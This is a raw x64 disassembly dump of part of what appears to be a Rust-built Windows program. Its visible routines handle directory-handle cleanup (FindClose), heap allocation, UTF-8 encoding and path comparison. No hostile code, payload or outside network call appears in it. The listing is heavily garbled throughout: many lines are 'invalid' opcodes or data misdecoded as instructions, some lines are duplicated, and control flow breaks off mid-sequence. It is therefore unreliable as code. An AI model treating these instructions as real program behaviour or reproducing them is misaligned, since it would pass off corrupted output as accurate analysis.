mov dword [rsp + 0x88], ecx
and al, 0x88
add byte [rax], al
add byte [rax - 0x75], cl
mov rbx, qword [rsp + 0x760]
mov rcx, rbx
mov rdx, rdi
call fcn.140050000
mov byte [rsp + 0x48], al
lea rcx, [rsp + 0x1f0]
pushfq
and al, 0x60
invalid
lea rcx, [rsp + 0x1f0]
lock add dword [rax], eax
add byte [rax - 0x77], cl
fimul dword [rcx - 0x77]
clc
mov rdx, rbx
mov r8, rdi
call fcn.14007e360
movzx eax, byte [rsp + 0x1f0]
and al, 0xf0
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rax], fs
and al, 0
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x10
add al, byte [rax]
add byte [rdi + rcx - 0x4a], al
ror byte [rbp + rcx*4 + 0xd], 0x6a
adc al, 0xa
add byte [rdi + 0x63], cl
adc al, 0x81
and al, 0xf0
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rax], fs
and al, 0
and al, 0
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x10
add al, byte [rax]
add byte [rdi + rcx - 0x4a], al
ror byte [rbp + rcx*4 + 0xd], 0x6a
adc al, 0xa
add byte [rdi + 0x63], cl
adc al, 0x81
add r10, r9
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x68], rbx
mov r11, qword [rsp + 0x88]
jmp r10
add rcx, 4
jmp 0x14004e4e8
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp 0x14004e4e8
mov ecx, 6
jmp 0x14004e4e8
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp 0x14004e4e8
mov ecx, 2
mov rdi, qword [rsp + 0x50]
sub rdi, rcx
jb 0x14004ff21
imul rcx, r11, 0x38
mov qword [rsp + 0xc0], rcx
test rdi, rdi
je 0x14004e522
je 0x14004e813
cmp al, 6
je 0x14004e5c6
mov rdx, qword [rsp + 0x1df]
add byte [rax], al
mov qword [rsp + 0x20f], rdx
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x200], xmm1
movaps xmmword [rsp + 0x1f0], xmm0
mov rdx, qword [rsp + 0x20f]
mov qword [rsp + 0x1af], rdx
movaps xmm0, xmmword [rsp + 0x1f0]
lock add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x200], cl
lock add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x200], cl
movaps xmmword [rsp + 0x1a0], xmm1
movaps xmmword [rsp + 0x190], xmm0
mov rdx, qword [rsp + 0x68]
movabs al, byte [0x902484290f000001]
add dword [rax], eax
add byte [rax - 0x75], cl
push rsp
and al, 0x68
mov qword [rsp + 0x468], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x470], rdx
mov byte [rsp + 0x478], al
movups xmmword [rsp + 0x479], xmm0
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0x489], xmm0
mov rax, qword [rsp + 0x1af]
mov qword [rsp + 0x498], rax
mov word [rsp + 0x4a0], 0x200
mov byte [rsp + 0x4a2], cl
lea rax, [0x1400e9043]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 1
mov byte [rsp + 0x200], 6
mov word [rsp + 0x228], 0x200
mov byte [rsp + 0x22a], 0
xor r15d, r15d
nop dword [rax + rax]
lea rcx, [rsp + 0xe8]
lea rdx, [rsp + 0x468]
call fcn.140084850
movzx ebx, byte [rsp + 0xe8]
add byte [rax], al
add byte [rbx - 0x7bf0f505], al
invalid
add dword [rax], eax
invalid
add byte [rax], al
add byte [rbx - 0x7bf0f505], al
xor eax, 0xf000001
mov dh, 0xbc
and al, 0xe9
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
lock add byte [rax], al
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0xf8
add byte [rax], al
add byte [rbx + rcx*4 - 0x54], cl
and al, 0
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 8
add dword [rax], eax
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x158]
lea rdx, [rsp + 0x1f0]
add byte [rax], al
invalid
pop rbp
invalid
movzx edi, byte [rsp + 0xe9]
mov rsi, qword [rsp + 0xf0]
mov rbp, qword [rsp + 0xf8]
mov r13, qword [rsp + 0x100]
mov r12, qword [rsp + 0x108]
lea rcx, [rsp + 0x158]
lea rdx, [rsp + 0x1f0]
add byte [rax], al
add byte [rax], al
call fcn.140084850
movzx eax, byte [rsp + 0x158]
cmp al, 0xa
je case.default.0x14004e78a
lea ecx, [rbx - 6]
movzx ecx, cl
lea r8, [rcx + 1]
cmp cl, 4
cmovae r8, r15
lea r9d, [rax - 6]
movzx ecx, r9b
lea rdx, [rcx + 1]
cmp cl, 4
cmovae rdx, r15
cmp r8, rdx
jne case.default.0x14004e78a
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x168]
mov word [rax + rbp*2], fs
add dword [rax], eax
add byte [rcx - 0x7d], al
clc
add al, 0x74
invalid
mov word [rax + rbp*2], fs
add dword [rax], eax
add byte [rcx - 0x7d], al
clc
add al, 0x74
test r8, r8
test r8, r8
jne case.0x14004acc8.64
cmp r9b, 4
jb case.0x14004acc8.64
cmp bl, al
jne case.default.0x14004e78a
movzx eax, byte [rsp + 0x159]
mov r10, qword [rsp + 0x170]
mov r14, qword [rsp + 0x178]
and al, 0x78
add dword [rax], eax
add byte [rcx - 0x77], al
fmul dword [rbp + rcx*4 + 0xd]
xchg ebp, eax
adc dword [rdx], ecx
add byte [rdi + 0x63], cl
add al, 0x81
and al, 0x78
add dword [rax], eax
add byte [rcx - 0x77], al
fmul dword [rbp + rcx*4 + 0xd]
xchg ebp, eax
adc dword [rdx], ecx
add byte [rdi + 0x63], cl
add al, 0x81
add r8, r9
jmp r8
invalid
cmp rbp, rcx
jne case.default.0x14004e78a
mov rcx, rsi
mov r8, rbp
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je case.0x14004acc8.64
jmp case.default.0x14004e78a
cmp esp, esi
jne case.default.0x14004e78a
xor edx, edx
jmp 0x14004e80b
lea rcx, [rsp + 0x158]
lea rdx, [rsp + 0x1f0]
call fcn.140084850
cmp byte [rsp + 0x158], 0xa
sete dl
mov r9, qword [rsp + 0x98]
mov byte [rsp + 0x3f], dl
mov r12, qword [r9 + 0x18]
mov r13, qword [r9 + 0x28]
mov qword [rsp + 0x1f0], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x1f8], xmm0
test r13, r13
je 0x14004ea00
shl r13, 5
add r13, r12
mov r15d, 1
xor ebx, ebx
lea rdi, [rsp + 0x1f0]
lea r14, [rsp + 0x468]
jmp 0x14004e8bc
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x468], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x469], sil
mov esi, 2
mov rax, qword [rsp + 0x1f8]
sub rax, rbx
cmp rax, rsi
jb 0x14004e9dd
lea rcx, [r15 + rbx]
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rsi
mov qword [rsp + 0x200], rbx
add r12, 0x20
cmp r12, r13
je 0x14004ea7e
cmp dword [r12], 0
jne 0x14004ea5f
mov esi, dword [r12 + 4]
cmp esi, 0x80
jae 0x14004e920
cmp rbx, qword [rsp + 0x1f8]
jne 0x14004e8f1
mov rcx, rdi
mov rdx, rbx
call fcn.140051370
mov rbx, qword [rsp + 0x200]
mov r15, qword [rsp + 0x1f0]
mov byte [r15 + rbx], sil
inc rbx
mov qword [rsp + 0x200], rbx
add r12, 0x20
cmp r12, r13
jne 0x14004e8bc
jmp 0x14004ea7e
mov dword [rsp + 0x468], 0
mov eax, esi
cmp esi, 0x800
jb 0x14004e860
cmp esi, 0x10000
jae 0x14004e988
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x468], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x469], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x46a], sil
mov esi, 3
mov rax, qword [rsp + 0x1f8]
sub rax, rbx
cmp rax, rsi
jae 0x14004e895
jmp 0x14004e9dd
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x468], al
mov eax, esi
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x469], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x46a], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x46b], sil
mov esi, 4
mov rax, qword [rsp + 0x1f8]
sub rax, rbx
cmp rax, rsi
jae 0x14004e895
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.1400aae70
mov r15, qword [rsp + 0x1f0]
mov rbx, qword [rsp + 0x200]
jmp 0x14004e895
mov edi, 1
xor r14d, r14d
xor ebx, ebx
xor esi, esi
movzx ebp, byte [rsp + 0x3f]
test bpl, bpl
je 0x14004ec14
mov qword [rsp + 0x468], rdi
mov qword [rsp + 0x470], r14
mov qword [rsp + 0x478], rbx
mov byte [rsp + 0x480], 1
movzx eax, byte [rsp + 0x48]
and al, sil
cmp al, 1
jne 0x14004ec43
mov rsi, qword [rsp + 0x468]
mov rbx, qword [rsp + 0x478]
jmp 0x14004ed06
cmp qword [rsp + 0x1f8], 0
je 0x14004eab8
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004eab8
mov rdi, qword [rsp + 0x1f0]
test rdi, rdi
je 0x14004eab8
cmp byte [rsp + 0x48], 0
je 0x14004f0e9
lea rcx, [rsp + 0x1f0]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
call fcn.140096090
mov esi, dword [rsp + 0x200]
mov rbx, qword [rsp + 0x1f0]
cmp esi, 2
je 0x14004ee20
mov rdi, qword [rsp + 0x1f8]
lea rdx, [rsp + 0x204]
lea rcx, [rsp + 0x47c]
mov r8d, 0x254
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x468], rbx
mov qword [rsp + 0x470], rdi
mov dword [rsp + 0x478], esi
lea rax, [rsp + 0x3f]
mov qword [rsp + 0x6d0], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x6d8], rax
lea rcx, [rsp + 0x1f0]
lea rdx, [rsp + 0x468]
call fcn.140050b40
cmp byte [rsp + 0x208], 2
mov rdi, qword [rsp + 0x40]
jne 0x14004ee9f
mov rcx, qword [rsp + 0x470]
call qword [sym.imp.kernel32.dll_FindClose]
mov rax, qword [rsp + 0x468]
lock dec qword [rax]
mov eax, 8
mov qword [rsp + 0x58], rax
jne 0x14004ebb0
mov rcx, qword [rsp + 0x468]
call fcn.140010290
xor eax, eax
mov qword [rsp + 0x90], rax
xor r13d, r13d
mov rsi, qword [rsp + 0x190]
test rsi, rsi
je 0x14004f022
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x468]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
mov r9, rdi
call fcn.1400863b0
movzx eax, byte [rsp + 0x48]
and al, sil
cmp al, 1
je 0x14004ea4a
test sil, sil
jne 0x14004ece1
mov rsi, qword [rsp + 0x468]
mov rbx, qword [rsp + 0x478]
lea rcx, [rsp + 0x1f0]
mov rdx, rsi
mov r8, rbx
call fcn.140084cf0
cmp dword [rsp + 0x1f0], 2
jne 0x14004ed06
mov rax, qword [rsp + 0x1f8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x14004ece1
test rcx, rcx
je 0x14004ece1
lea rsi, [rax - 1]
mov rbx, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14004eccf
cmp qword [r15 + 0x10], 0x11
jb 0x14004ecbd
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x470], 0
je 0x14004edbe
mov r8, qword [rsp + 0x468]
mov rcx, qword [0x1400f91f8]
xor edx, edx
jmp 0x14004edb8
mov r15, qword [rsp + 0x470]
mov r9, qword [rsp + 0x88]
inc r9
mov r8, qword [rsp + 0xb8]
cmp r9, r8
jne 0x14004ed83
mov r12, qword [rsp + 0x480]
mov r13, qword [rsp + 0x40]
mov rdx, qword [r13 + 0x10]
cmp rdx, qword [r13 + 8]
jne 0x14004ed49
mov rcx, r13
call fcn.1400512a0
mov rdx, qword [r13 + 0x10]
mov rax, qword [r13]
lea rcx, [rdx + rdx*2]
shl rcx, 4
mov qword [rax + rcx], 0
mov qword [rax + rcx + 8], rsi
mov qword [rax + rcx + 0x10], r15
mov qword [rax + rcx + 0x18], rbx
mov qword [rax + rcx + 0x20], r12
mov qword [rax + rcx + 0x28], 0xffffffffffffffff
inc rdx
mov qword [r13 + 0x10], rdx
jmp 0x14004edbe
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x80]
call fcn.14004e3f0
test r15, r15
je 0x14004edbe
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
test bpl, bpl
jne 0x14004f0e9
test r14, r14
je 0x14004f0e9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
movaps xmm6, xmmword [rsp + 0x6e0]
add rsp, 0x6f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x40]
cmp qword [rsp + 0x50], 0
je 0x14004f06a
js 0x14004ff81
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14004ee5f
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14004eecb
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14004ffad
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14004ffad
mov esi, 1
mov rcx, rsi
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rdi + 0x10]
cmp rdx, qword [rdi + 8]
jne 0x14004f097
mov rcx, rdi
call fcn.1400512a0
mov rdx, qword [rdi + 0x10]
mov rax, qword [rdi]
lea rcx, [rdx + rdx*2]
shl rcx, 4
mov qword [rax + rcx], 1
mov qword [rax + rcx + 8], rbx
mov qword [rax + rcx + 0x10], rsi
mov r8, qword [rsp + 0x50]
mov qword [rax + rcx + 0x18], r8
mov qword [rax + rcx + 0x20], r8
mov byte [rax + rcx + 0x28], 0
mov r8d, dword [rsp + 0x1f0]
mov r9d, dword [rsp + 0x1f3]
mov dword [rax + rcx + 0x29], r8d
mov dword [rax + rcx + 0x2c], r9d
inc rdx
mov qword [rdi + 0x10], rdx
movaps xmm6, xmmword [rsp + 0x6e0]
add rsp, 0x6f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
shl r13, 5
mov rdx, qword [rsp + 0x58]
lea rax, [rdx + r13]
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx]
lea rdi, [rdx + 0x28]
mov ebx, 0x20
sub rbx, r13
lea rdx, [rsi + rsi*2]
shl rdx, 4
add rcx, rdx
add rcx, 0x28
nop word [rax + rax]
movzx edx, byte [rdi - 0x10]
cmp dl, 2
je 0x14004fc8d
mov r8, qword [rdi - 0x28]
mov r9d, dword [rdi - 0xf]
mov r10d, dword [rdi - 0xc]
mov dword [rsp + 0x1f3], r10d
mov dword [rsp + 0x1f0], r9d
movups xmm0, xmmword [rdi - 0x20]
mov qword [rcx - 0x28], 0
mov qword [rcx - 0x20], r8
movups xmmword [rcx - 0x18], xmm0
mov byte [rcx - 8], dl
mov edx, dword [rsp + 0x1f0]
mov r8d, dword [rsp + 0x1f3]
mov dword [rcx - 4], r8d
mov dword [rcx - 7], edx
mov rdx, qword [rsp + 0x88]
mov qword [rcx], rdx
inc rsi
add rdi, 0x20
add rbx, 0x20
add rcx, 0x30
cmp rbx, 0x20
jne 0x14004fac0
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x10], rsi
cmp qword [rsp + 0x90], 0
je 0x14004fb5e
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc0]
cmp qword [rax + rcx + 0x28], 0
jl 0x14004fb7a
sub byte [rax], al
je 0x14004f0e9
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc0]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + rcx + 0x18]
lea rdx, [0x1400e07d8]
call fcn.14004dcd0
test al, al
je 0x14004f0e9
inc qword [rsp + 0x88]
mov edi, dword [rsp + 0x64]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], 0
add byte [rax], al
add byte [rbx - 0x769bdb84], cl
jl 0x14004fbd6
sub byte [rax - 0x39], cl
and al, 0x20
add byte [rax], al
add byte [rax], al
lea r8, [0x1400e9043]
lea r9, [0x1400e9044]
lea ecx, [0x1400e9044]
lea ecx, [0x1400e9044]
mov rbx, qword [rsp + 0x98]
mov rcx, rbx
mov dl, 1
call fcn.1400500c0
add eax, ebp
in al, 4
add byte [rax], al
test al, al
jne 0x14004fd36
mov qword [rsp + 0x20], 1
lea r9, [0x1400e9043]
and byte [rcx], al
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
xchg r12, rax
or dword [rax], eax
lea rcx, [rsp + 0x1f0]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
and al, 0x50
call fcn.1400863b0
mov rdi, qword [rsp + 0x1f0]
mov rbx, qword [rsp + 0x1f8]
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x200], dh
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x200], dh
mov r9, qword [rsp + 0x88]
mov r8, qword [rsp + 0xb8]
cmp r9, r8
cmp ecx, eax
cmp ecx, eax
jne 0x14004fcef
mov r14, qword [rsp + 0x40]
cmp rsi, qword [r14 + 8]
jne 0x14004fc56
mov rcx, r14
mov rdx, rsi
call fcn.1400512a0
add byte [rax], al
add byte [rax], al
mov rsi, qword [r14 + 0x10]
mov rax, qword [r14]
lea rcx, [rsi + rsi*2]
shl rcx, 4
mov qword [rax + rcx], 0
mov qword [rax + rcx + 8], rdi
mov qword [rax + rcx + 0x10], rbx
movups xmmword [rax + rcx + 0x18], xmm6
mov qword [rax + rcx + 0x28], 0xffffffffffffffff
inc rsi
mov qword [r14 + 0x10], rsi
jmp 0x14004fd2a
lea rcx, [rdi - 8]
mov rdx, qword [rsp + 0x40]
and al, 0x40
mov qword [rdx + 0x10], rsi
cmp rax, rcx
je 0x14004fb3f
invalid
invalid
invalid
invalid
neg rbx
shr rbx, 5
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
add bl, ch
invalid
add rdi, 0x20
dec rbx
je 0x14004fb3f
cmp qword [rdi], 0
je 0x14004fcb3
mov r8, qword [rdi - 8]
clc
mov rcx, qword [0x1400f91f8]
xor edx, edx
call r14
jmp 0x14004fcb3
ja 0x14004fcfa
jmp 0x14004fa8a
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x30], eax
movlps qword [rsp + 0x28], xmm6
and al, 0x28
mov qword [rsp + 0x20], rdi
mov rcx, qword [rsp + 0x40]
and al, 0x40
mov rdx, qword [rsp + 0x80]
call fcn.14004e3f0
out 0xff, al
dec dword [rax - 0x7b]
invalid
je 0x14004fd2a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
invalid
mov edi, dword [rsp + 0x64]
mov rbx, qword [rsp + 0x98]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], 0
and al, 0x20
add byte [rax], al
add byte [rax], al
and al, 0x20
add byte [rax], al
add byte [rax], al
lea r8, str....
lea eax, str....
lea r9, [0x1400e9042]
mov rcx, rbx
mov dl, 1
call fcn.1400500c0
add eax, dword [rax]
add byte [rax + rax*8 - 0xc797af1], al
invalid
invalid
add eax, dword [rax]
add byte [rax + rax*8 - 0xc797af1], al
invalid
mov qword [rsp + 0x20], 2
mov dword [rsp + 0x20], 2
lea r9, str....
lea rcx, [rsp + 0x1f0]
lea ecx, [rsp + 0x1f0]
lea ecx, [rsp + 0x1f0]
mov rdx, qword [rsp + 0x68]
push rsp
and al, 0x68
mov r8, qword [rsp + 0x50]
call fcn.1400863b0
mov rsi, qword [rsp + 0x1f0]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rdi, qword [rsp + 0x1f8]
movups xmm6, xmmword [rsp + 0x200]
mov esp, 0x1f824
add byte [rdi], cl
adc byte [rsp + 0x200], dh
mov r9, qword [rsp + 0x88]
mov r8, qword [rsp + 0xb8]
and al, 0xb8
add byte [rax], al
add byte [rax], al
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xb8
add byte [rax], al
add byte [rax], al
cmp r9, r8
jne 0x14004fe09
mov rbx, qword [rsp + 0x40]
cmp r9, r8
jne 0x14004fe09
mov rbx, qword [rsp + 0x40]
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rbx + 8]
jne 0x14004fdd2
mov rcx, rbx
fld1
rcl byte [rax + rax], cl
add byte [rax - 0x75], cl
push rbx
adc byte [rax - 0x75], cl
call fcn.1400512a0
mov rdx, qword [rbx + 0x10]
mov rax, qword [rbx]
lea rcx, [rdx + rdx*2]
add ecx, dword [rax - 0x73]
or al, 0x52
shl rcx, 4
mov qword [rax + rcx], 0
or byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
je 0x14004fdf1
invalid
or byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
je 0x14004fdf1
or byte [rax], cl
or byte [rax - 0x77], cl
jl 0x14004fdf6
mov qword [rax + rcx + 0x10], rdi
movups xmmword [rax + rcx + 0x18], xmm6
adc dword [rax + rcx + 0x18], esi
adc byte [rdi], cl
adc dword [rax + rcx + 0x18], esi
je 0x14004fdfb
sbb byte [rax - 0x39], cl
mov qword [rax + rcx + 0x28], 0xffffffffffffffff
inc rdx
mov qword [rbx + 0x10], rdx
or byte [rax], r13b
sub bh, bh
invalid
invalid
jmp 0x14004f0e9
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x30], eax
mov dword fs:[rsp + 0x30], eax
movlps qword [rsp + 0x28], xmm6
and al, 0x28
mov qword [rsp + 0x20], rsi
and al, 0x20
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x80]
call fcn.14004e3f0
test rdi, rdi
je 0x14004f0e9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004f0e9
rol byte [0xdcedfe51], 0xf2
invalid
pushfq
invalid
mov edx, eax
call fcn.1400a9d70
ud2
lahf
add eax, 0x480b0f00
lea eax, [0x1400ee248]
loopne 0x14004fe49
or dword [rax], eax
loopne 0x14004fe49
or dword [rax], eax
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 1
clc
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9e3d5
clc
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9e3d5
mov qword [rsp + 0x200], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x208], xmm0
test byte [rax + rcx], ah
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x9e423
test byte [rax + rcx], ah
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x9e423
lea rcx, [rsp + 0x1f0]
call fcn.1400a9cb0
ud2
mov dword [rsp + 0x1f0], eax
mov qword [rsp + 0x1f8], 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9e38a
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9e38a
mov qword [rsp + 0x200], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x208], xmm0
add byte [rax - 0x73], cl
adc eax, 0x9e3f0
add byte [rax - 0x73], cl
adc eax, 0x9e3f0
lea rcx, [rsp + 0x1f0]
call fcn.1400a9cb0
ud2
in al, 9
add byte [rbp + rcx*4 + 5], cl
in al, 9
add byte [rdx + 0x2c], bh
call fcn.1400a9e70
ud2
add byte [rbp + rcx*4 + 5], cl
fsubr st(3), st(0)
or dword [rax], eax
mov edx, 0x2b
call fcn.1400a9e70
ud2
loope 0x14004ffbb
mov edx, dword [rsp + 0xb0]
call fcn.1400aa0c0
ud2
call fcn.1400401e0
ud2
or dword [rax], eax
mov rdx, rcx
mov rcx, r12
call fcn.1400aa0c0
ud2
mov edx, ebp
call fcn.1400a9df0
ud2
add byte [rax], al
mov edx, 0x80
add byte [rax], al
add al, ch
adc al, 0x9c
invalid
add byte [rdi], cl
invalid
add byte [rax], al
add al, ch
adc al, 0x9c
add eax, 0x480b0f00
lea ecx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x9e69b
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov edx, 0x2b
add al, ch
invalid
sahf
invalid
add byte [rdi], cl
invalid
add al, ch
invalid
or dword [rax], eax
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov edx, 0x2b
call fcn.1400a9e70
invalid
sahf
invalid
add byte [rdi], cl
invalid
sbb byte [rsi + 0xb0f0005], 0xcc
int3
int3
sub esp, 0x70
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0x28]
call fcn.140084cf0
cmp dword [rsp + 0x28], 2
jne 0x140050084
mov rax, qword [rsp + 0x30]
and al, 0x30
mov ecx, eax
and ecx, 3
xor esi, esi
lea rdx, [rcx - 2]
dec byte [rax - 0x7d]
cli
add dh, byte [rdx + 0x73]
dec byte [rax - 0x7d]
cli
add dh, byte [rdx + 0x73]
test rcx, rcx
je 0x1400500a7
outsb dx, byte [rsi]
outsb dx, byte [rsi]
lea rdi, [rax - 1]
mov rsi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rsi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14005006e
cmp qword [rbx + 0x10], 0x11
adc byte [rcx], dl
jb 0x14005005c
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
or eax, 0xa9183
xor esi, esi
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add bl, ch
invalid
invalid
mov esi, dword [rsp + 0x68]
test esi, 0x400
sete al
test dword [rsp + 0x6c], 0x20000000
sete cl
or cl, al
and esi, 0x10
shr esi, 4
and sil, cl
mov eax, esi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
invalid
cmp rdi, rsi
cmp edi, esi
je 0x14005054a
mov r13b, 1
jmp 0x140050552
mov r9d, dword [rsp + 0xb8]
mov rax, qword [r15 + 0x18]
shl rdx, 5
add rdx, rax
mov r14, rcx
mov esi, ecx
mov esi, ecx
shl r14, 5
add r14, rax
inc rcx
mov qword [rsp + 0x38], rcx
invalid
cmp byte [rcx], dh
fisttp dword [rax - 0x77]
mov dword [rsp + 0x40], edx
xor ebx, ebx
mov qword [rsp + 0x40], rdx
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x40], edx
mov eax, dword [r14]
mov ecx, eax
and ecx, 6
cmp ecx, 2
jne 0x1400502f0
mov edx, r12d
and dl, 1
mov rax, qword [rsp + 0x38]
lea rbp, [rax + rbx]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rbp
mov rcx, r15
mov r8, rdi
mov r9, rsi
call fcn.1400500c0
invalid
invalid
invalid
cmp al, 1
jne 0x14005054f
fild word [rbx]
add byte [rax], al
invalid
fild word [rbx]
add byte [rax], al
cmp rdi, rsi
je 0x1400503ae
mov r9d, dword [rsp + 0xb8]
jmp 0x1400501d3
mov eax, r9d
shr eax, 8
test al, r12b
jne 0x140050552
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rbp
and byte [rcx + rcx*4 - 7], cl
and byte [rcx + rcx*4 - 7], cl
mov edx, r12d
mov r8, rdi
mov r9, rsi
call fcn.1400500c0
mov r9d, dword [rsp + 0xb8]
cmp al, 1
jne 0x14005054f
cmp rdi, rsi
je case.0x14004b11e.52
movzx r8d, byte [rdi]
movzx eax, r8b
test al, al
js case.0x14002f3a6.227
inc rdi
mov r13b, 1
test r12b, 1
jne 0x140050249
jmp 0x140050290
mov ecx, eax
and ecx, 0x1f
movzx r10d, byte [rdi + 1]
and r10d, 0x3f
cmp al, 0xdf
jbe 0x14005025e
movzx edx, byte [rdi + 2]
